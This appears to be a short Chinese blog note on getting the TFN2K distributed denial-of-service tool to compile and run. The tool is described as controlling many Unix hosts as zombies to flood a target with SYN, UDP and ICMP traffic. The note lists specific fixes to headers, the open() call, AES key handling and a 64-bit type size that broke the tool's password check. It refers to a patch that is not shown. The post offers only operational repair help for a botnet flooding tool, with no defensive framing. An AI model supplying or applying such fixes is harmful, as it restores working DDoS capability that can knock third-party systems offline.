它可以控制大量类UNIX平台的主机作为傀儡主机，同时向一台目标机发起synflood/udpflood/icmpflood等攻击行为。
网上下载的代码，感觉是作者故意留了些bug，导致编译有错误，使用也有错误。
这里就碰到问题，一一记录，留待之后备查。
- src/ip.h 里需要做一些修改，否则编译会有错误，发生重复定义；
- 提示open with O_CREAT in second argument needs 3 arguments时，给open函数加上第三个参数0777；
- aes_setkey函数中，使用key变量前，先对其置零；
- aes.h中，将typedef unsigned long u4byte;改成typedef unsigned int u4byte; 在64位的系统下，GCC会认为unsigned long是8个字节，而tfn2k把它当4个字节使用，从而导致在aes_setkey函数中误用。 最终导致的问题就是，在使用tfn时，一直提示“Sorry, passwords do not match.” ， 挺坑爹的， 原来tfn2k不兼容64位。
所有改动，见下面的patch。
